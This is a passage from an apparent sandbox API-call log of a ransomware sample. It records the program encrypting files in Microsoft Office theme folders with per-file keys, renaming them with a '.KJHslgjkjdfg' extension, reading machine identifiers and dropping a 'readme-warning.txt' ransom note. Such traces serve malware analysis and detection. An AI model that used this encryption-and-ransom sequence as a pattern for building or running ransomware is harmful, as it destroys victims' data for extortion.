lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.402] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xb310, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xb310, lpOverlapped=0x0) returned 1 [0175.402] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.402] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xb3e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.403] SetEndOfFile (hFile=0x12c) returned 1 [0175.406] GetProcessHeap () returned 0x990000 [0175.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.406] GetProcessHeap () returned 0x990000 [0175.406] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.elm.kjhslgjkjdfg")) returned 1 [0175.424] CloseHandle (hObject=0x12c) returned 1 [0175.425] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a84fa90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="REFINED.INF", cAlternateFileName="")) returned 1 [0175.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.425] GetProcessHeap () returned 0x990000 [0175.426] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.426] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.426] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.426] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x6, lpOverlapped=0x0) returned 1 [0175.428] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.428] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.428] GetProcessHeap () returned 0x990000 [0175.428] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0175.428] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0175.428] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.428] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0175.428] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0175.428] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0175.428] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0175.428] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0175.429] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0175.429] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0175.429] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0175.429] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.429] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x24a, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x24a, lpOverlapped=0x0) returned 1 [0175.429] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x250, dwBufLen=0x250 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x250) returned 1 [0175.429] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.429] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x250, lpOverlapped=0x0) returned 1 [0175.429] CryptDestroyKey (hKey=0x9b6668) returned 1 [0175.429] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.429] SetEndOfFile (hFile=0x12c) returned 1 [0175.432] GetProcessHeap () returned 0x990000 [0175.432] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0175.432] GetProcessHeap () returned 0x990000 [0175.432] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0175.432] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\REFINED.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\refined.inf.kjhslgjkjdfg")) returned 1 [0175.435] CloseHandle (hObject=0x12c) returned 1 [0175.435] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0175.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0175.435] GetProcessHeap () returned 0x990000 [0175.436] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0175.436] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0175.436] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0175.436] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0176.117] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0176.117] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0176.117] GetProcessHeap () returned 0x990000 [0176.117] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0176.117] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0176.117] CryptDestroyKey (hKey=0x9b6668) returned 1 [0176.117] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0176.117] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0176.117] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0176.118] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0176.118] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0176.118] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0176.118] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0176.118] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0176.118] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.118] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3d79, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x3d79, lpOverlapped=0x0) returned 1 [0176.959] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x3d80) returned 1 [0176.959] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.959] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x3d80, lpOverlapped=0x0) returned 1 [0176.959] CryptDestroyKey (hKey=0x9b6668) returned 1 [0176.959] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.959] SetEndOfFile (hFile=0x12c) returned 1 [0176.963] GetProcessHeap () returned 0x990000 [0176.963] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0176.963] GetProcessHeap () returned 0x990000 [0176.963] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0176.963] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0176.964] CloseHandle (hObject=0x12c) returned 1 [0176.965] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3d79, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0176.965] GetProcessHeap () returned 0x990000 [0176.965] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0176.965] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0176.965] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0176.965] CryptDestroyKey (hKey=0x9b6668) returned 1 [0176.965] GetProcessHeap () returned 0x990000 [0176.965] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0176.965] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0176.965] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0176.965] CryptDestroyKey (hKey=0x9b6668) returned 1 [0176.965] GetProcessHeap () returned 0x990000 [0176.965] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9fb9f0 [0176.965] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0176.965] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9fb9f0, pdwDataLen=0x29dee20 | out: pbData=0x9fb9f0, pdwDataLen=0x29dee20) returned 1 [0176.965] CryptDestroyKey (hKey=0x9b6668) returned 1 [0176.965] GetProcessHeap () returned 0x990000 [0176.965] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0176.965] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0176.965] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0176.965] CryptDestroyKey (hKey=0x9b6668) returned 1 [0176.965] GetProcessHeap () returned 0x990000 [0176.965] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0176.965] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0176.966] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0176.966] CryptDestroyKey (hKey=0x9b6668) returned 1 [0176.966] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0176.966] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0176.966] RegCloseKey (hKey=0x12c) returned 0x0 [0176.966] GetProcessHeap () returned 0x990000 [0176.966] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0176.966] GetProcessHeap () returned 0x990000 [0176.966] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0176.966] GetProcessHeap () returned 0x990000 [0176.966] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0176.966] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0176.966] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0176.966] CryptDestroyKey (hKey=0x9b6668) returned 1 [0176.966] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0176.966] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0176.966] GetProcessHeap () returned 0x990000 [0176.966] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0176.967] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0176.967] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0176.967] GetProcessHeap () returned 0x990000 [0176.967] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0176.967] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\readme-warning.txt") returned 82 [0176.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0176.968] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0176.969] CloseHandle (hObject=0x12c) returned 1 [0176.969] GetProcessHeap () returned 0x990000 [0176.969] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9fb9f0 | out: hHeap=0x990000) returned 1 [0176.969] GetProcessHeap () returned 0x990000 [0176.969] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0176.969] GetProcessHeap () returned 0x990000 [0176.969] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0176.969] GetProcessHeap () returned 0x990000 [0176.969] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0176.969] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0176.970] GetProcessHeap () returned 0x990000 [0176.970] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0176.970] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0176.970] GetProcessHeap () returned 0x990000 [0176.970] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x92) returned 0x9b0940 [0176.970] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0177.688] GetProcessHeap () returned 0x990000 [0177.688] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0177.688] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0177.688] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf82, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0177.688] GetProcessHeap () returned 0x990000 [0177.688] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x294) returned 0x9b1eb0 [0177.688] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0177.689] GetProcessHeap () returned 0x990000 [0177.689] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0177.689] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0177.689] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0177.689] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xe, lpOverlapped=0x0) returned 1 [0177.720] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0177.720] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0177.720] GetProcessHeap () returned 0x990000 [0177.720] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0177.720] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0177.720] CryptDestroyKey (hKey=0x9b6668) returned 1 [0177.720] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0177.720] WriteFile 